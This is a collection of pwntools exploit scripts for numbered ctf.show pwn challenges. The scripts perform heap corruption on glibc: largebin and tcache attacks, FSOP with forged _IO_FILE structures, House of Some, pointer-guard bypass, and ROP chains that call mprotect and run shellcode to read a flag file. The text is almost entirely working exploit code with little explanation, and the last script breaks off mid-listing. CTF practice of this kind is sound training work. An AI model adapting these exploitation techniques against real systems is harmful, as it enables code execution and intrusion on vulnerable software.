6  def add(namelen,meslen,name,mess):
7      io.recvuntil('>>')
8      io.sendline('1')
9      io.recvuntil('name')
10     io.sendline(str(namelen))
11     io.recvuntil('name')
12     io.send(name)
13     io.recvuntil('message')
14     io.sendline(str(meslen))
15     io.recvuntil('message')
16     io.send(mess)
17     io.recvuntil('Done!')
18  def dele(index):
19     io.recvuntil('>>')
20     io.sendline('2')
21     io.recvuntil('index')
22     io.sendline(str(index))
23     io.recvuntil('Done!')
24  def edit(index,size,cont):
25     io.recvuntil('>>')
26     io.sendline('3')
27     io.recvuntil('index')
28     io.sendline(str(index))
29     io.recvuntil('size')
30     io.sendline(str(size))
31     io.recvuntil('Hello ')
32     re = io.recvuntil(' you')[:-4]
```

```
33         io.recvuntil('>')
34         io.send(cont)
35         io.recvuntil('Done!')
36         return re
37
38 def moreedit(index, addr1, addr2):
39     io.recvuntil('>>')
40     io.sendline('5')
41     io.recvuntil('index')
42     io.sendline(str(index))
43     io.recvuntil('>')
44     io.send(addr1)
45     io.recvuntil('again!>')
46     io.send(addr2)
47     io.recvuntil('Done!')
48     return re
49
50 add(0, 0x90, '', 'aaa\n')
51 add(0, 0x90, '', 'bbb\n')
52 add(0, 0x90, '', 'a'*0x20+'\n')
53 add(0, 0x90, '', '\n')
54 add(0, 0x90, '', '\n')
55 edit(0, 3, 'bbb\n')
56 dele(1)
57 dele(0)
58 add(0, 0x90, '', 'aaa\n')
59 addr = u64(edit(0, 0, '').ljust(8, '\x00'))
60 heap = addr & 0xffffffffffff000
61 add(0x10, 0x90, p64(heap+0x130)+p64(heap+0x130), 'ddd\n')
62 dele(0)
63 edit(0, 0x10, p64(heap+0x110)+p64(heap+0x110))
64 add(0, 0x90, '', p64(0)*2+'\n')
65 addr2 = u64(edit(1, 0, '').ljust(8, '\x00'))
66 libc_base = addr2 - (0x00007f0fa487cb78- 0x7f0fa44b8000)
67 malloc_hook = libc_base + libc.symbols['__malloc_hook']
68 one = libc_base + 0xf1147
69 edit(0, 0x10, p64(addr2)*2)
70 dele(2)
71 add(0, 0x90, '', '\n')
72 add(0, 0x90, '', '\n')
73 add(0, 0x90, '', '\n')
74 add(0, 0x90, '', '\n')
75 edit(5, 0, '')
76 dele(5)
77 edit(5, 0x10, p64(heap+0x0f8)*2)
78 add(0, 0x90, '', p64(0)*2+'\n')
79 moreedit(1, p64(malloc_hook-0x10), p64(heap+0x040))
```

```
80 add(8,0x90,p64(one),p64(one)+'\n')
81 io.sendline('1')
82
83 io.interactive()
```

## pwn 259

```
1  from pwn import *
2  context(arch='amd64',os='linux',log_level='debug')
3  io = remote("pwn.challenge.ctf.show",28246)
4  libc=ELF('./libc/libc-2.33.so')
5  c_l=[]
6
7  def add(size):
8      io.sendlineafter(">> ", '1')
9      io.sendlineafter('size: ',str(size))
10
11 def edit(ind,size,text,heap=0,off=0):
12     for i in range(0,ind):
13         off+=c_l[i]
14     io.sendlineafter('>> ', '2')
15     io.sendlineafter("size: ",str(size))
16     io.sendlineafter('offset: ',str(off))
17     io.sendlineafter('content: ',text)
18     if heap:
19         c_l.append(size)
20
21 def edit1(off,size,text):
22     io.sendlineafter('>> ', '2')
23     io.sendlineafter("size: ",str(size))
24     io.sendlineafter('offset: ',str(off))
25     io.sendlineafter('content: ',text)
26
27 def free(ind):
28     off=0x10
29     for i in range(0,ind):
30         off+=c_l[i]
31     print(c_l)
32     io.sendlineafter('>> ', '3')
33     io.sendlineafter('idx: ',str(off))
34
35 def show():
36     io.sendlineafter('>> ', '4')
37
38
```

```

39 def calc_mmap(addr):
40     h_a=hex(addr)[2:].strip('L')
41     real_add=h_a[:3]
42     h_a=h_a[3:]
43     e=[]
44     h_c=[]
45     h_a=h_a[::-1]
46     for i in range(0,len(h_a),3):
47         h_c.append(h_a[i:i+3][::-1])
48     for i in h_c:
49         if e==[]:
50             e.append(hex(int(i,16)^0x180)[2:])
51         else:
52             l=len(i)
53             e.append(hex(int(e[-1][3-l:],16)^int(i,16))[2:])
54     e=e[::-1]
55     real_add=int(''.join(e),16)<<12
56     return real_add
57
58 add(0x20)
59 edit(0,0x30,p64(0)+p64(0x31),1)
60 edit(1,0x30,p64(0)+p64(0x31),1)
61 edit(2,0x30,p64(0)+p64(0x31),1)
62 edit(3,0x30,p64(0)+p64(0x31),1)
63 edit(4,0x30,p64(0)+p64(0x31),1)
64 edit(5,0x30,p64(0)+p64(0x31),1)
65 edit(6,0x30,p64(0)+p64(0x31),1)
66 edit(7,0x30,p64(0)+p64(0x31),1)
67 edit(8,0x30,p64(0)+p64(0x31),1)
68 edit(9,0x30,p64(0)+p64(0x31),1)
69 free(0)
70 free(1)
71 free(2)
72 free(3)
73 free(4)
74 free(5)
75 free(6)
76
77 free(7)
78 add(0x28)
79 free(8)
80 free(7)
81
82 c_l=c_l[:-3]
83 show()
84 io.readuntil('content: ')
85 d=u64(io.readuntil('1. alloc',drop=1).ljust(8,b'\x00'))

```

```
86 fake_heap=calc_mmap(d)
87 print(hex(fake_heap))
88 add(0x28)
89 add(0x28)
90 edit(7,0x30,p64(0)+p64(0x31),1)
91 edit(8,0x30,p64(0)+p64(0x31),1)
92 free(7)
93 add(0x28)
94 c_l=c_l[:-2]
95
96 edit(7,0x430,p64(0)+p64(0x431)+p64(0)*5+p64(0x31)+p64(0)*5+p64(0x31)+p64(0)*4+
p64(0x30)+p64(0x31),1)
97 edit(8,0x30,p64(0)+p64(0x31),1)
98 edit(9,0x30,p64(0)+p64(0x31),1)
99
100 free(7)
101 show()
102
103 io.read(9)
104 main_arena=0
105 data=io.read(8)
106 io.readuntil('exit')
107 if '1. ' in data:
108     edit(7,0x430,p64(0)+p64(0x431)+'a')
109     show()
110     io.read(9)
111     main_arena=u64(('\\x00'+io.read(6)[1:]).ljust(8,b'\\x00'))-0x60
112     edit(7,0x430,p64(0)+p64(0x431)+'\\x00')
113 else:
114     main_arena=u64(data[:data.find('\\x7f')+1])-0x60
115
116 malloc_hook=main_arena-0x10
117 libc.address=malloc_hook-libc.sym['__malloc_hook']
118 free_hook=libc.sym['__free_hook']
119 system=libc.sym['system']
120 top_chunk=main_arena+0x60
121 wfile_jump=libc.sym['_IO_wfile_jumps']
122 func_table=libc.address+0x1e35c8
123 arg_table=libc.address+0x1eb218
124 io_list_all=libc.sym['_IO_list_all']
125 gadget=libc.address+0x8ef80
126 add(0x428)
127 fake_io_add=fake_heap+0x440+0x30+0x450+0x30+0x30
128 fake_io=p64(0x68732f6e69622f)+\\
129     p64(0)+p64(system)+p64(system)+\\
130     p64(system+1)+p64(system+3)+p64(system+2)+\\
131     p64(system+5)+p64(0)+\\
```

```
132     p64(0)+p64(0)+p64(0)+p64(0)+\
133     p64(0)+p64(0)+p32(0)+p64(0)+\
134     p16(0)+p8(0)+p8(0)+p64(0)+\
135     p64(0)+p64(0)+p64(fake_io_add+0x8)+\
136     p64(0)+p64(0)+p64(0)+p32(0)+p8(0)*20+\
137     p64(wfile_jump+0x30)+\
138     p64(0)+p64(fake_io_add)
139
140 c_l=[]
141 edit(0,0x440,p64(0)+p64(0x441),1)
142 edit(1,0x30,p64(0)+p64(0x31),1)
143 edit(2,0x450,p64(0)+p64(0x451),1)
144 edit(3,0x30,p64(0)+p64(0x31),1)
145 edit(4,0x30,p64(0)+p64(0x31),1)
146 free(2)
147 add(0x500)
148
149 edit(2,0x8,p64(func_table-0x20),off=0x28)
150 free(0)
151 add(0x500)
152
153 edit(2,0x10,p64(fake_heap)*2,off=0x20)
154 edit(0,0x10,p64(fake_heap+0x440+0x30)*2,off=0x20)
155 add(0x448)
156 add(0x438)
157
158 free(2)
159 add(0x500)
160 edit(2,0x8,p64(arg_table-0x20),off=0x28)
161 free(0)
162 add(0x500)
163 edit(2,0x10,p64(fake_heap)*2,off=0x20)
164 edit(0,0x10,p64(fake_heap+0x440+0x30)*2,off=0x20)
165 add(0x448)
166 add(0x438)
167
168 edit(5,0x440,p64(0)+p64(0x441),1)
169 edit(6,0x30,p64(0)+p64(0x31),1)
170 edit(7,0x30,p64(0)+p64(0x31),1)
171
172 free(2)
173 add(0x500)
174 edit(2,0x8,p64(io_list_all-0x20),off=0x28)
175 free(5)
176 add(0x500)
177 edit(2,0x10,p64(fake_heap+0x440+0x30+0x450+0x30+0x30)*2,off=0x20)
178 edit(5,0x10,p64(fake_heap+0x440+0x30)*2,off=0x20)
```

```

179 add(0x448)
180 add(0x438)
181 edit(5, len(fake_io), fake_io)
182
183 free(2)
184 add(0x700)
185 edit(2, 0x8, p64(top_chunk-0x20), off=0x28)
186 free(0)
187 edit(0, 0x10, p64(gadget), off=ord('s')*8+16)
188 add(0x700)
189
190 io.interactive()

```

## pwn 260

```

1  from pwn import *
2  from SomeofHouse import HouseOfSome
3  context.log_level = 'debug'
4  context.arch = 'amd64'
5  io = remote("pwn.challenge.ctf.show", 28246)
6  libc = ELF("./libc/libc.so.6", checksec=None)
7  io.recvuntil(b"[+] printf: ")
8  printf_addr = int(io.recvuntil(b"\n", drop=True), 16)
9
10 def add(size):
11     io.sendlineafter(b"> ", b"1")
12     io.sendlineafter(b"size> ", str(size))
13
14 def write(addr, size, content):
15     io.sendlineafter(b"> ", b"2")
16     io.sendlineafter(b"size> ", str(size))
17     io.sendlineafter(b"addr> ", str(addr))
18     io.sendafter(b"content> ", content)
19
20 def leave():
21     io.sendlineafter(b"> ", b"3")
22 add(0x200)
23 io.recvuntil(b"[+] done ")
24 heap_addr = int(io.recvuntil(b"\n", drop=True), 16)
25 libc_base = printf_addr - libc.symbols["printf"]
26 libc.address = libc_base
27 fake_file_start = heap_addr + 0xe0 + 0xe8
28 hos = HouseOfSome(libc=libc, controled_addr=fake_file_start)
29 payload = hos.hoi_read_file_template(fake_file_start, 0x400, fake_file_start,
0)

```



```
30 io.sendlineafter("content> ", payload)
31 write(libc.symbols["_IO_list_all"], 8, p64(heap_addr))
32 leave()
33 hos.bomb(io, libc.address+0x8ea42)
34
35 io.interactive()
```

## pwn 261

```
1  from pwn import*
2  context(arch='amd64',os='linux',log_level='debug')
3  io = remote("pwn.challenge.ctf.show",28245)
4  libc = ELF("./libc/libc.so.6")
5  def add(size,data):
6      io.recvuntil('> ')
7      io.sendline('1')
8      io.recvuntil('> ')
9      io.sendline(str(size))
10     io.recvuntil('> ')
11     io.sendline(data)
12  def draw(o):
13     io.recvuntil('> ')
14     io.sendline('3')
15     io.recvuntil('> ')
16     io.sendline(str(o))
17     io.recvuntil('> ')
18     io.sendline('1')
19  def dev(s):
20     io.recvuntil('> ')
21     io.sendline('2')
22     io.recvuntil('> ')
23     io.sendline(str(s))
24  def exit():
25     io.recvuntil('> ')
26     io.sendline('5')
27  def show():
28     io.recvuntil('> ')
29     io.sendline('4')
30
31  io.sendline('-')
32  io.recvuntil('invalid option ')
33  libc_base = int(io.recv(15),10)-0x1ff7a0
34  io_list = libc_base + libc.sym['_IO_list_all'] - 0x114514000
35  addr = 0x114514000
36  print hex(libc_base + libc.sym['_IO_list_all'])
```

```

37 read_io = 1
38 io_file_jumps = libc_base + libc.sym['_IO_file_jumps']
39 un = libc_base + 0x2008f0
40 stack = libc_base + libc.sym['environ']
41 mprotect = libc_base + libc.sym['mprotect']
42 pop_rdi = libc_base + 0x00000000000028715
43 pop_rsi = libc_base + 0x0000000000002a671
44 pop_rdx_bx = libc_base + 0x00000000000093359
45 add(0x240, 'a' * 0x160 + p64(0x8000 | 0x40 | 0x1000) + p64(0) * 3 + p64(addr)
    + p64(addr + 0x600) + p64(0) * 7 + p64(addr) + p64(0) * 3 + p64(un) + p64(0)
    * 9 + p64(io_file_jumps - 0x8))
46 dev(2)
47 draw(io_list)
48 print hex(io_file_jumps)
49 write_io = (p64(0x8000 | 0x800 | 0x1000) + p64(0) * 3 + p64(stack) +
    p64(stack + 0x80) + p64(0) * 7 + p64(addr + len(p64(0) * 28)) + p64(1) +
    p64(0) * 2 + p64(0) + p64(0) * 9 + p64(io_file_jumps))
50 read_io = p64(0x8000 | 0x40 | 0x1000) + p64(0) * 3 + p64(addr) + p64(addr +
    0x600) + p64(0) * 7 + p64(addr) + p64(0) * 3 + p64(un) + p64(0) * 9 +
    p64(io_file_jumps - 0x8)
51 write_io += read_io
52 io.sendline('5')
53 io.sendline(write_io)
54 io.recvuntil('> ')
55 stack = u64(io.recv(6).ljust(8, '\x00')) - 0x290
56 read_io1 = p64(0x8000 | 0x40 | 0x1000) + p64(0) * 3 + p64(stack) + p64(stack
    + 0x600) + p64(0) * 7 + p64(addr) + p64(0) * 3 + p64(un) + p64(0) * 9 +
    p64(io_file_jumps - 0x8)
57 shellcode = asm(shellcraft.amd64.linux.cat2("/ctfshow_flag",1,0x30))
58 print hex(stack)
59 io.sendline(read_io1)
60 io.sendline(p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(addr) +
    p64(pop_rdx_bx) + p64(0x100) + p64(0) + p64(libc_base + libc.sym['read']) +
    p64(pop_rdi) + p64(addr) + p64(pop_rsi) + p64(0x1000) + p64(pop_rdx_bx) +
    p64(7) + p64(0) + p64(mprotect) + p64(addr))
61 io.sendline(shellcode)
62
63 io.interactive()

```

## pwn 262

```

1 from pwn import *
2 from SomeofHouse import HouseOfSome
3 context(arch='amd64',os='linux',log_level='debug')
4 io = remote("pwn.challenge.ctf.show",28115)

```

```

5 def name(size, content):
6     io.sendlineafter(b"> ", b"1")
7     io.sendlineafter(b"size> ", str(size))
8     io.sendafter(b"name> ", content)
9
10 def dev(idx):
11     io.sendlineafter(b"> ", b"2")
12     io.sendlineafter(b"dev> ", str(idx))
13
14 def draw(offset, length):
15     io.sendlineafter(b"> ", b"3")
16     io.sendlineafter(b"offset> ", str(offset))
17     io.sendlineafter(b"length> ", str(length))
18
19 def leave():
20     io.sendlineafter(b"> ", b"5")
21
22 io.sendlineafter(b"> ", b"-")
23 io.recvuntil(b"invalid option ")
24 leak = int(io.recvuntil(b".", drop=True))
25 log.success(f"leak : {leak:#x}")
26 libc_base = leak - 0x2205c0
27 log.success(f"libc_base : {libc_base:#x}")
28
29 libc = ELF("./libc.so.6", checksec=None)
30 libc.address = libc_base
31
32 name(0x2b0-1, flat({
33     0x260: {
34         0x18: 0,
35         0x20: 1,
36         0x30: 0,
37     }
38 }, filler=b"\x00") + b"\n")
39 name(0x1f00-0x730-1, b"aa" + b"\n")
40 name(0x400-1, b"aa" + b"\n")
41 name(0x590-1, flat({
42     0xe0-0x60: libc.symbols['_IO_file_jumps'] - 0x48
43 }, filler=b"\x00") + b"\n")
44 name(0x50-1, b"aa" + b"\n")
45 name(0x600-1, b"aa" + b"\n")
46 name(0x610-1, b"aa" + b"\n")
47 name(0x300-1, b"aa" + b"\n")
48 name(0x2f0-1, b"aa" + b"\n")
49 name(0x360-1, b"aa" + b"\n")
50 name(0x210-1, b"aa" + b"\n")
51

```

```

52 environ = libc.symbols['__environ']
53
54 name(0xb0-1, flat({
55     0x00: 0, # _flags
56     0x20: 0, # _IO_write_base
57     0x28: 0, # _IO_write_ptr
58
59     0x38: environ+8, # _IO_buf_base
60     0x40: environ+8+0x400, # _IO_buf_end
61
62     0x70: 0, # _fileno
63     0x68: environ+8, # _chain
64     0x82: b"\x00", # _vtable_offset
65     0x88: environ-0x10,
66     0xa0: b"\n"
67 }, filler=b"\x00"))
68
69 name(0x20-1, flat({
70     0xc0-0x20-0xa0: 2, # _mode
71     0xd8-0x20-0xa0: libc.symbols['_IO_wfile_jumps'], # vtable
72 }, filler=b"\x00")[:-1] + b"\n")
73
74 dev(2)
75 draw(libc.symbols["_IO_list_all"] - 0x114514000, 1)
76 leave()
77
78 hos = HouseOfSome(libc, environ+8, environ-0x10)
79 stack = hos.bomb_raw(io, libc.symbols["_IO_flush_all"] + 481)
80 log.success(f"stack : {stack:#x}")
81
82 pop_rdx = 0x000000000000096272 + libc_base
83
84 rop = ROP(libc)
85 rop.base = stack
86 rop.raw(pop_rdx)
87 rop.raw(7)
88 rop.call('mprotect', [stack & (~0xfff), 0x1000])
89 rop.raw(stack + 0x40)
90 log.info(rop.dump())
91 rop_chain = rop.chain()
92
93 assert b"\n" not in rop_chain, "\\n in rop_chain"
94 shellcode = asm(
95     f"""
96     mov rax, {u64(b"./flag" + bytearray([0,0]))}
97     push rax
98     mov rdi, rsp

```

```

99  mov rsi, 0
100 mov rax, 2
101 syscall
102
103 mov rdi, rax
104 mov rsi, rsp
105 mov rdx, 0x40
106 mov rax, 0
107 syscall
108
109 mov rdi, 1
110 mov rsi, rsp
111 mov rdx, 0x40
112 mov rax, 1
113 syscall
114 "")
115 io.sendline(rop_chain + shellcode)
116
117 io.interactive()

```

## pwn 263

```

1  from pwn import *
2  context.update(arch = 'amd64', os = 'linux', log_level = 'debug')
3  io = remote('pwn.challenge.ctf.show', 28136)
4  elf = ELF('./pwn')
5  libc = ELF('./libc.so.6')
6  io.sendlineafter("> ", '-')
7  io.recvuntil("invalid option ")
8  libc.address = int(io.recvuntil('\n', drop=True), 10) -
    libc.sym["_IO_2_1_stdout_"]
9  _IO_list_all = libc.sym["_IO_list_all"]
10 _IO_file_jumps = libc.sym["_IO_file_jumps"]
11 __free_hook = libc.sym["__free_hook"]
12 io.sendlineafter("> ", '1')
13 io.sendlineafter("size> ", str(0x1048-1))
14 io.recvuntil("name> ")
15 fake_io_read = fit({
16     0xf60: 0x8000 | 0x40 | 0x1000, # _flags
17     0xf60+0x20: 0x114514000, # _IO_write_base
18     0xf60+0x28: 0x114514000 + 0x500, # _IO_write_ptr
19     0xf60+0x68: 0x114514000, # _chain
20     0xf60+0x70: 0, # _fileno
21     0xf60+0xc0: 0, # _modes
22     0xf60+0xd8: _IO_file_jumps - 0x8, # _vtables

```

```

23 }, filler='\x00')
24 io.sendline(fake_io_read)
25
26 io.sendlineafter("> ", '2')
27 io.sendlineafter("> ", '2')
28 io.sendlineafter("> ", '3')
29 io.sendlineafter("offset> ", str(_IO_list_all - 0x114514000))
30 io.sendlineafter("length> ", '1')
31 io.sendlineafter("> ", '5')
32
33 pay = ""
34 fake_io_write = fit({
35     0x00: 0x8000 | 0x800 | 0x1000, # _flags
36     0x20: libc.sym["environ"], # _IO_write_base
37     0x28: libc.sym["environ"] + 8, # _IO_write_ptr
38     0x68: 0x114514000 + 0x100, # _chain
39     0x70: 1, # _fileno
40     0xc0: 0, # _modes
41     0xd8: _IO_file_jumps, # _vtables
42 }, filler='\x00')
43 pay = fake_io_write.ljust(0x100, '\x00')
44
45 fake_io_read = fit({
46     0x00: 0x8000 | 0x40 | 0x1000, # _flags
47     0x20: 0x114514000 + 0x200, # _IO_write_base
48     0x28: 0x114514000 + 0x500, # _IO_write_ptr
49     0x68: 0x114514000 + 0x200, # _chain
50     0x70: 0, # _fileno
51     0xc0: 0, # _modes
52     0xd8: _IO_file_jumps - 0x8, # _vtables
53 }, filler='\x00')
54 pay += fake_io_read.ljust(0x100, '\x00')
55
56 sleep(0.3)
57 io.send(pay)
58
59 stack = u64(io.recv(8))
60 target = stack - 0x230
61 info("stack: {}".format(hex(stack)))
62
63 fake_io_read = fit({
64     0x00: 0x8000 | 0x40 | 0x1000, # _flags
65     0x20: target, # _IO_write_base
66     0x28: target + 0x200, # _IO_write_ptr
67     0x68: 0, # _chain
68     0x70: 0, # _fileno
69     0xc0: 0, # _modes

```

```

70     0xd8: _IO_file_jumps - 0x8, # _vtables
71 }, filler='\x00')
72 sleep(0.3)
73 io.send(fake_io_read)
74
75 pop_rdi_ret = libc.address + 0x00000000000028839
76 pop_rsi_ret = libc.address + 0x00000000000028b65
77 pop_rdx_ret = libc.address + 0x00000000000096272
78 pop_rax_ret = libc.address + 0x000000000000b8177
79 syscall_ret = libc.address + 0x0000000000007d959
80
81 rop = flat([
82     pop_rax_ret, 2,
83     pop_rdi_ret, target + 0xa8,
84     pop_rsi_ret, 0,
85     syscall_ret,
86
87     pop_rax_ret, 0,
88     pop_rdi_ret, 4,
89     pop_rsi_ret, target + 0x150,
90     pop_rdx_ret, 0x30,
91     syscall_ret,
92
93     pop_rax_ret, 1,
94     pop_rdi_ret, 1,
95     syscall_ret,
96     "ctfshow_flag\x00\x00\x00\x00"
97 ])
98 sleep(0.3)
99 io.send(rop)
100
101 io.interactive()

```

## pwn 264

```

1  from pwn import *
2  context(arch = 'amd64', os = 'linux', log_level = 'debug')
3  io = remote("pwn.challenge.ctf.show", 28147)
4  io.recvuntil(b"[+] printf: ")
5  printf_addr = int(io.recvuntil(b"\n", drop=True), 16)
6
7  def add(size):
8      io.sendlineafter(b"> ", b"1")
9      io.sendlineafter(b"size> ", str(size))
10

```

```

11 def write(addr, size, content):
12     io.sendlineafter(b"> ", b"2")
13     io.sendlineafter(b"size> ", str(size))
14     io.sendlineafter(b"addr> ", str(addr))
15     io.sendafter(b"content> ", content)
16
17 def leave():
18     io.sendlineafter(b"> ", b"3")
19
20 libc = ELF("./libc/libc.so.6", checksec=False)
21 libc_base = printf_addr - libc.symbols["printf"]
22 libc.address = libc_base
23
24 _IO_wfile_jumps_maybe_mmap = libc.address + 0x215f40
25 _IO_str_jumps = libc.address + 0x2166c0
26 _IO_default_xsputn = _IO_str_jumps + 0x38
27 _IO_default_xsgetn = _IO_str_jumps + 0x40
28
29 write(libc.symbols["_IO_2_1_stdout_"], 0xe0, flat({
30     0x0: 0x8000, # disable lock
31     0x38: libc.symbols["_IO_2_1_stdout_"], # _IO_buf_base
32     0x40: libc.symbols["_IO_2_1_stdout_"] + 0x1c8, # _IO_buf_end
33     0x70: 0, # _fileno
34     0xa0: libc.symbols["_IO_2_1_stdout_"] + 0x100,
35     0xc0: p32(0xffffffff), # _mode < 0
36     0xd8: _IO_wfile_jumps_maybe_mmap - 0x18,
37 }, filler=b"\x00"))
38 io.send(flat({
39     0x8: libc.symbols["_IO_2_1_stdout_"],
40
41     0x38: libc.symbols["_IO_2_1_stdout_"] - 0x1c8 + 0xc8, # _IO_buf_base
42     0x40: libc.symbols["_IO_2_1_stdout_"] + 0x1c8, # _IO_buf_end
43     0xa0: libc.symbols["_IO_2_1_stdout_"] + 0xe0,
44     0xc0: p32(0xffffffff),
45
46     0xd8: _IO_default_xsputn - 0x90, # vtable
47     0x28: libc.symbols["_IO_2_1_stdout_"] - 0x1c8, # _IO_write_ptr
48     0x30: libc.symbols["_IO_2_1_stdout_"], # _IO_write_end
49
50     0xe0: {
51         0xe0: _IO_wfile_jumps_maybe_mmap
52     }
53 }, filler=b"\x00"))
54
55 io.send(flat({
56     0: libc.address + 0xebcf8, # retn
57     0x1c8-0xc8: {

```



```

58     0x38: libc.symbols["_IO_2_1_stdout_"] - 0x1c8 + 0xc8, # _IO_buf_base
59     0x40: libc.symbols["_IO_2_1_stdout_"] + 0x1c8, # _IO_buf_end
60     0xa0: libc.symbols["_IO_2_1_stdout_"] + 0xe0,
61     0xc0: p32(0xffffffff),
62
63     0xd8: _IO_default_xsgetn - 0x90, # vtable
64     0x08: libc.symbols["_IO_2_1_stdout_"] - 0x1c8, # _IO_read_ptr
65     0x10: libc.symbols["_IO_2_1_stdout_"] + (0x1c8 - 0xc8), # _IO_read_end
66
67     0xe0: {
68         0xe0: _IO_wfile_jumps_maybe_mmap
69     }
70 }
71 }, filler=b"\x00"))
72 io.recv()
73
74 io.interactive()

```

## pwn 265

```

1  from pwn import *
2  context(arch='amd64',os='linux',log_level='debug')
3  io = remote('pwn.challenge.ctf.show',28177)
4  elf = ELF('./pwn')
5  def Find(buf):
6      io.sendlineafter('5.Exit\n', '1')
7      io.sendlineafter('So man, what are you finding?\n', str(buf))
8  def Locate(buf):
9      io.sendlineafter('5.Exit\n', '2')
10     io.sendlineafter('So, Where are you?\n', str(buf))
11  def get():
12     io.sendlineafter('5.Exit\n', '3')
13     io.sendlineafter('How many things do you want to get?\n', '100000')
14  def give(content):
15     io.sendlineafter('5.Exit\n', '4')
16     io.sendlineafter('What do you want to give me?\n', str(content))
17
18  io.sendlineafter('Do you want to help me build my room? Y/n?\n', 'Y')
19  Find('/proc/self/maps')
20  get()
21  io.recvuntil('\n')
22  elf_base = int(io.recvuntil('-', drop = True), 16)
23  print hex(elf_base)
24  open_ad = elf.sym['open'] + elf_base
25  read_ad = elf.sym['read'] + elf_base

```

```

26 prdi = elf_base + 0x00000000000001823
27 prsi_r15 = elf_base + 0x00000000000001821
28 puts_ad = elf.sym['puts'] + elf_base
29
30 while True:
31     line = io.recvline()
32     if 'heap' in line:
33         line = io.recvline()
34         mmap_ad = int(line.split('-')[0], 16)
35         break
36
37 Find('/proc/self/mem')
38 Locate(mmap_ad)
39 for i in range(0, 24):
40     get()
41     io.recvuntil('You get something:\n')
42     mem = io.recvuntil('1.Find', drop = True)
43     print i
44     if '/proc/self/mem' in mem:
45         bef = mem.split('/proc/self/mem')[0]
46         v8_ad = mmap_ad + i * 100000 + len(bef)
47         ret_ad = v8_ad - 0x38
48         break
49     if i == 23:
50         print 'Try Again!'
51         exit(0)
52
53 payload = "/proc/self/mem".ljust(0x18, '\x00') + p64(ret_ad)
54 Find(payload)
55
56 offset = 0x8 * 15
57 flag_ad = ret_ad + offset
58
59 payload = p64(prdi) + p64(flag_ad) + p64(prsi_r15) + p64(0) + p64(0) +
60 p64(open_ad)
61 payload += p64(prdi) + p64(6) + p64(prsi_r15) + p64(flag_ad) + p64(0) +
62 p64(read_ad)
63 payload += p64(prdi) + p64(flag_ad) + p64(puts_ad)
64 payload += '/flag\x00'
65 give(payload)
66
67 io.interactive()

```

```

1  from pwn import *
2  context.log_level = 'debug'
3  io = remote("pwn.challenge.ctf.show",28123)
4  io.send("\x06")
5
6  io.interactive()

```

## pwn 267

```

1  from pwn import *
2  context(arch='amd64',os = 'linux', log_level="debug")
3  io = remote("pwn.challenge.ctf.show", 28229)
4  elf = ELF('./pwn')
5  libc = ELF('./libc/libc-2.31.so')
6  def flush():
7      io.sendlineafter("> ", "1")
8  def modify(off, val):
9      io.sendlineafter("> ", "2")
10     io.sendlineafter("offset: ", str(off))
11     io.sendlineafter("value: ", str(val))
12  def change(off, val):
13     for i in range(8):
14         modify(off, val & 0xff)
15         off += 1
16         val = val >> 8
17  def ROL(content, key):
18     tmp = bin(content)[2:].rjust(64, '0')
19     return int(tmp[key:] + tmp[:key], 2)
20
21  modify(0xd8, 0xa8)
22  flush()
23
24  modify(0xd8, 0xa0)
25  modify(8 * 5, 0x40)
26  flush()
27
28  modify(8 * 14, 1)
29  modify(8 * 5, 0x78)
30  modify(8 * 4, 0x70)
31  modify(8 * 2, 0x70)
32  flush()
33
34  libc_base = u64(io.recvuntil("\x7f").ljust(8, "\x00")) + 0x7f60d3a44000 -
    0x7f60d3c2cf60
35

```

```

36  __pointer_chk_guard_addr = libc_base + 0x1f35f0
37  change(8 * 5, __pointer_chk_guard_addr + 0x8)
38  change(8 * 4, __pointer_chk_guard_addr)
39  change(8 * 2, __pointer_chk_guard_addr)
40  flush()
41  __pointer_chk_guard = u64(io.recv(8))
42  _IO_cookie_jumps = libc_base + 0x1e8a20
43  system_addr = libc_base + libc.sym["system"]
44  func_value = ROL(system_addr ^ __pointer_chk_guard, 0x11)
45  change(0xf0, func_value)
46  change(0xd8, _IO_cookie_jumps + 0x18)
47  change(0xe0, libc_base + 0x1b45bd - 0x100000000)
48  flush()
49
50  io.interactive()

```

## pwn 268

```

1  from pwn import*
2  context.log_level = 'debug'
3  io = remote("pwn.challenge.ctf.show",28207)
4  elf = ELF('./pwn')
5  libc = ELF('./libc/libc.so.6')
6
7  def menu(choice):
8      io.recvuntil('Exit\n>')
9      io.sendline(str(choice))
10 def add(index, size):
11     menu(1)
12     io.recvuntil('Index: ')
13     io.sendline(str(index))
14     io.recvuntil('Size: ')
15     io.sendline(str(size))
16 def delete(index):
17     menu(2)
18     io.recvuntil('Index: ')
19     io.sendline(str(index))
20 def edit(index, content):
21     menu(3)
22     io.recvuntil('Index: ')
23     io.sendline(str(index))
24     io.recvuntil('Content: ')
25     io.send(content)
26 def show(index):
27     menu(4)

```

```
28     io.recvuntil('Index: ')
29     io.sendline(str(index))
30
31     add(0, 0x608)
32     add(1, 0x508)
33     add(2, 0x5f8)
34     add(3, 0x508)
35     delete(0)
36     show(0)
37     libcbase = u64(io.recv(6).ljust(8, '\x00')) - 0x1f6cc0
38     _IO_list_all = libcbase + libc.symbols['_IO_list_all']
39     add(4, 0x800)
40     edit(0, b'A'*0x10)
41     show(0)
42     io.recv(0x10)
43     heapbase = u64(io.recv(6).ljust(8, '\x00')) - 0x290
44     edit(0, p64(0)*3+p64(_IO_list_all-0x20))
45     delete(2)
46     add(4, 0x800)
47     setcontext = libcbase + libc.symbols['setcontext']
48     fake_io_addr=heapbase+0xdb0
49     next_chain = 0
50     fake_IO_FILE=p64(0)*6
51     fake_IO_FILE +=p64(1)+p64(2)
52     fake_IO_FILE +=p64(fake_io_addr+0xb0)
53     fake_IO_FILE +=p64(setcontext+61)
54     fake_IO_FILE = fake_IO_FILE.ljust(0x58, '\x00')
55     fake_IO_FILE += p64(0)
56     fake_IO_FILE = fake_IO_FILE.ljust(0x78, '\x00')
57     fake_IO_FILE += p64(heapbase+0x1000)
58     fake_IO_FILE = fake_IO_FILE.ljust(0x90, '\x00')
59     fake_IO_FILE +=p64(fake_io_addr+0x30)
60     fake_IO_FILE = fake_IO_FILE.ljust(0xB0, '\x00')
61     fake_IO_FILE += p64(1)
62     fake_IO_FILE = fake_IO_FILE.ljust(0xC8, '\x00')
63     fake_IO_FILE += p64(libcbase+0x1f30a0+0x30)
64     fake_IO_FILE +=p64(0)*6
65     fake_IO_FILE += p64(fake_io_addr+0x40)
66
67     ret = libcbase + 0x233d1
68     pop_rdi = libcbase + 0x23b65
69     pop_rsi = libcbase + 0x251be
70     pop_rdx_rbx = libcbase + 0x8bcd9
